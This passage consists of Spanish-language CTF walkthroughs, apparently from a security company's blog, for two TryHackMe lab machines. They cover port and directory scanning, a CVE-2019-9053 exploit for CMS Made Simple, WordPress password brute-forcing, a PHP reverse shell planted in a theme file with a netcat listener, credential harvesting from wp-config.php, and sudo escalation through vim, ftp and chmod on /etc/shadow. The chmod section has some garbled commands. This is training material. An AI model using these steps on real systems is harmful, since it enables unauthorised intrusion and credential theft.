Al utilizar dirb en el paso anterior, hemos descubierto un directorio llamado “/simple” en el sitio web. Accede a él mediante el siguiente enlace: http://ipmaquina/simple.

Paso 5: Identificación del CMS y búsqueda de vulnerabilidades

Al acceder al directorio “/simple”, observamos que se utiliza el CMS Made Simple versión 2.2.8. Ahora, buscamos posibles vulnerabilidades en este CMS.

Hay dos opciones para encontrar exploits:

  1. Ejecutar el comando searchsploit cms made simple 2.2.8 para buscar en la lista de exploits disponibles.
  2. Buscar la vulnerabilidad CVE-2019-9053 en motores de búsqueda como Google, GitHub o Exploit-DB. En este caso, encontramos un exploit en GitHub.
Captura De Pantalla 2023 05 30 A Las 18.56.39

Paso 6: Clonar el exploit de GitHub

Para evitar problemas de compatibilidad con la versión de Python 3, clonaremos el exploit de GitHub en nuestro directorio de trabajo. Ejecuta el siguiente comando:

git clone https://github.com/e-renna/CVE-2019-9053.git

Paso 7: Acceder a la carpeta del exploit

Ingresa al directorio “CVE-2019-9053” que se ha creado después de clonar el exploit.

Paso 8: Asignar permisos de ejecución al exploit

Antes de ejecutar el exploit, asegurémonos de que tenga todos los permisos necesarios. Ejecuta el siguiente comando:

chmod 777 exploit.py

Paso 9: Instalar termcolor

Si no tienes instalado el paquete “termcolor”, debes instalarlo para evitar errores al ejecutar el exploit. Utiliza el siguiente comando:

pip install termcolor

Paso 10: Ejecutar el exploit

Ahora, estamos listos para ejecutar el exploit. Utiliza el siguiente comando:

python3 exploit.py -u http://url/simple --crack -w /ruta/diccionario.txt

Explicación de las opciones utilizadas:

  • -u: Especifica la URL del sitio web vulnerable.
  • --crack: Realiza una prueba de fuerza bruta utilizando un diccionario de contraseñas.
  • -w: Especifica la ruta al archivo de diccionario de contraseñas.

Paso 11: Acceso mediante SSH

Después de ejecutar el exploit, obtendrás el usuario y la contraseña. Ahora, puedes acceder a la máquina objetivo mediante SSH utilizando el siguiente comando:

ssh usuario@ipmaquina -p 2222

Paso 12: Escalada de privilegios

Una vez dentro de la máquina, verifica los privilegios disponibles ejecutando sudo -l. Si encuentras la opción de escalar privilegios utilizando /usr/bin/vim, puedes buscar el método exacto en el sitio web https://gtfobins.github.io/.

Por ejemplo, si puedes ejecutar sudo vim -c ':!/bin/sh', podrás escalar a la cuenta de root.

Captura De Pantalla 2023 05 30 A Las 21.10.11

Resumen de los pasos seguidos

En este pentesting, realizamos los siguientes pasos:

  1. Escaneo de puertos y detección de servicios utilizando nmap.
  2. Descubrimiento de directorios ocultos utilizando dirb.
  3. Identificación del CMS y búsqueda de vulnerabilidades.
  4. Clonación del exploit de GitHub.
  5. Ejecución del exploit para obtener acceso al sitio web.
  6. Acceso a la máquina mediante SSH utilizando las credenciales obtenidas.
  7. Escalada de privilegios utilizando el exploit específico para la máquina objetivo.

Hemos trabajado en una máquina Linux, que presentaba vulnerabilidades en el CMS Made Simple versión 2.2.8. A través de pasos cuidadosos de escaneo, descubrimiento y explotación, logramos obtener acceso a la máquina y escalar nuestros privilegios.

Confía en DCSeguridad

Si estás interesado en aprender más sobre seguridad informática y pentesting, te animo a ponerte en contacto con nuestra empresa DCSeguridad. Estamos dedicados a brindar servicios de seguridad de alta calidad y también ofrecemos un canal de Telegram donde compartimos información valiosa y consejos sobre seguridad.

¡Únete a nosotros y fortalece tus habilidades en el emocionante mundo del pentesting!

Espero que este manual te sea útil en tu aprendizaje de pentesting. Recuerda siempre realizar pruebas de penetración de manera ética y respetar la privacidad de los sistemas y redes que analices. ¡Buena suerte en tu camino hacia convertirte en un experto en seguridad!

Manual resolución Máquina Source TryHackMe. Pentesting WEB

Resolución Máquina TryHackMe ColddBox: Easy Paso a Paso

Hoy os traemos Resolución Máquina TryHackMe ColddBox:Easy paso a paso, es una máquina sencilla, de las primeras que te propone la plataforma para iniciarse en el mundo del Hacking, corresponde a la parte de Pentesting WEB con una escalada de privilegios que nos permite varias maneras de realizarla.

Veremos cómo resolverla paso a paso, e intentado explicar cada uno de los pasos y que conseguimos con cada uno de ellos, la idea de esta guía es ayudarte a resolverla si tienes dudas, pero no a que la resuelvas únicamente por esta vía.

Resolución Máquina TryHackMe ColddBox

Escaneo con NMAP

El primer paso es realizar un escaneo de puertos utilizando NMAP para identificar los servicios y puertos abiertos en la máquina objetivo. El comando utilizado es el siguiente:

nmap -p- --open -sC -sV -sS --min-rate 5000 -vvv -n -Pn ipmaquina -oN nmap_ColddBox
Captura De Pantalla 2023 05 29 A Las 12.57.12

Explicación de los comandos:

  • -p-: Escanea todos los puertos.
  • --open: Muestra solo los puertos abiertos.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta las versiones de los servicios.
  • -sS: Realiza un escaneo TCP SYN.
  • --min-rate 5000: Establece la tasa mínima de paquetes de envío.
  • -vvv: Muestra un nivel detallado de verbosidad.
  • -n: No resuelve nombres de host.
  • -Pn: Ignora el descubrimiento de hosts y trata todas las direcciones IP como activas.
  • ipmaquina: Es la dirección IP de la máquina objetivo.
  • -oN nmap_ColddBox: Guarda los resultados del escaneo en un archivo llamado “nmap_ColddBox”.

Identificación de servicios en los puertos

Una vez realizado el escaneo, se observa que los puertos 80 (http) y 4512 (ssh) están abiertos. Además, se identifican los siguientes servicios en esos puertos:

  1. Puerto 80: WordPress 4.1.31
  2. Puerto 4512: OpenSSH 7.2p2

Análisis de WordPress

Se observa que se encuentra publicado un sitio WordPress en el puerto 80 y que tanto el wp-admin como el archivo xmlrpc.php están accesibles.

Descubrimiento de directorios

Se realiza un escaneo de directorios utilizando la herramienta dirb en la URL mediante dirb http://ipmaquina:80 para encontrar otros directorios accesibles.

Resultados de dirb

El escaneo de dirb revela que los siguientes directorios son accesibles:

  1. wp-admin
  2. wp-content
  3. wp-includes
  4. xmlrpc.php

Debido a estos resultados, se decide realizar un escaneo más detallado utilizando la herramienta wpscan.

Análisis de WordPress con wpscan

Se utiliza el comando wpscan para obtener más información sobre el sitio WordPress en la máquina objetivo. El comando utilizado es el siguiente:

wpscan --url http://ipmaquina -e vp,u

Explicación de los comandos:

  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -e vp,u: Enumera los plugins instalados y los usuarios.

Se obtienen los siguientes resultados:

  1. Tema utilizado: twentyfifteen
  2. Usuarios encontrados: hugo, c0ldd, philip
Captura De Pantalla 2023 05 29 A Las 13.11.55

Fuerza bruta de contraseñas

Se intenta realizar un ataque de fuerza bruta a los usuarios encontrados utilizando el diccionario rockyou. El comando utilizado es:

wpscan --url http://ipmaquina -U hugo,c0ldd,philip -P /ruta/rockyou.txt
Explicación de los comandos:
  • --url http://ipmaquina: Especifica la URL del sitio WordPress.
  • -U hugo,c0ldd,philip: Especifica los usuarios a los que se les realizará el ataque de fuerza bruta.
  • -P /ruta/rockyou.txt: Especifica la ubicación del diccionario de contraseñas (rockyou.txt en este caso).
Captura De Pantalla 2023 05 29 A Las 13.27.07

Se encuentra la contraseña para el usuario c0ldd y se procede a acceder al sitio WordPress con este usuario. Al iniciar sesión, se observa que se ha obtenido el rol de administrador, lo que permite realizar un ataque de shell inverso PHP.

Preparación del ataque de shell inverso PHP

Se modifica el archivo 404.php del tema twentyfifteen para insertar el código necesario para un ataque de shell inverso PHP. El código utilizado se obtiene de https://github.com/pentestmonkey/php-reverse-shell. Debemos cambiar la parte donde pone $ip.

Captura De Pantalla 2023 05 29 A Las 13.26.10

Captura de tráfico con Netcat

Se lanza Netcat en modo de escucha para capturar el tráfico en el puerto 1234. El comando utilizado es el siguiente:

nc -nvlp 1234

Ejecución del ataque de shell inverso

Se accede a la URL http://ipmaquina/wp-content/themes/twentyfifteen/404.php desde el navegador para iniciar el ataque de shell inverso PHP y obtener acceso a la máquina objetivo.

Captura De Pantalla 2023 05 29 A Las 13.30.16

Obtención de la contraseña de usuario

Una vez dentro, ejecutamos el comando script /dev/null -c bash para obtener una shell interactiva.

Luego, se utiliza el comando cat /var/www/html/wp-config.php | grep “DB_PASSWORD” para ver la contraseña del usuario c0ldd.

Escalada de privilegios

Se utiliza el comando su c0ldd con la contraseña obtenida para cambiar al usuario c0ldd y así escalar privilegios, ahora debemos de buscar la primera bandera, user.txt, búscala y tienes la primera bandera localizada.

Comprobación de los permisos de sudo

Se ejecuta el comando sudo -l para verificar los permisos de sudo del usuario c0ldd. Se observa que tiene permisos de root para ejecutar /usr/bin/vim, /bin/chmod y /usr/bin/ftp.

Escalada de Privilegios

Ahora veremos las tres opciones de escalada de privilegios que nos permite realizar esta máquina.

Escalada de privilegios mediante FTP

Se ejecuta el comando sudo ftp para iniciar una sesión de FTP con privilegios de root. Una vez dentro, se ejecuta !/bin/sh para obtener una shell interactiva con privilegios de root.

Captura De Pantalla 2023 05 29 A Las 14.04.14

Una vez tengas la escalada de privilegios busca la siguiente bandera root.txt.

Escalada de privilegios a través de /usr/bin/vim

  1. Ejecuta el siguiente comando para utilizar Vim con privilegios de root:
sudo vim -c ':!/bin/sh'

Esto abrirá Vim y ejecutará un comando de shell para obtener una shell interactiva con privilegios de root.

Escalada de privilegios a través de /usr/bin/chmod

  1. Establece la variable LFILE con la ruta al archivo /etc/shadow:
LFILE=/etc/shadow
  1. Utiliza el siguiente comando para cambiar los permisos del archivo /etc/shadow:
bashCopy codesudo chmod 6777 $LFILE

Esto otorgará permisos de lectura, escritura y ejecución a todos los usuarios en el archivo /etc/shadow.

  1. Para verificar que la escalada de privilegios fue exitosa, puedes utilizar el siguiente comando para encontrar la línea correspondiente al usuario c0ldd en el archivo /etc/shadow:
cat /etc/shadow | grep c0ldd
  1. Abre el archivo /etc/shadow con el editor vi:
vi /etc/shadow

Esto te permitirá editar el archivo y realizar cambios si es necesario.

  1. Finalmente, puedes cambiar al usuario c0ldd utilizando el siguiente comando:
su -c0ldd

Reemplaza <c0ldd password> con la contraseña del usuario c0ldd.

Esto concluye el manual de pentesting basado en los pasos y comandos proporcionados. Recuerda que el uso de estas técnicas y herramientas debe ser legal y con el consentimiento explícito del propietario del sistema que estás evaluando.

Si deseas saber mas sobre nosotros no dudes en ponerte en contacto con nosotros así como te invitamos a unirte a nuestro canal de Telegram.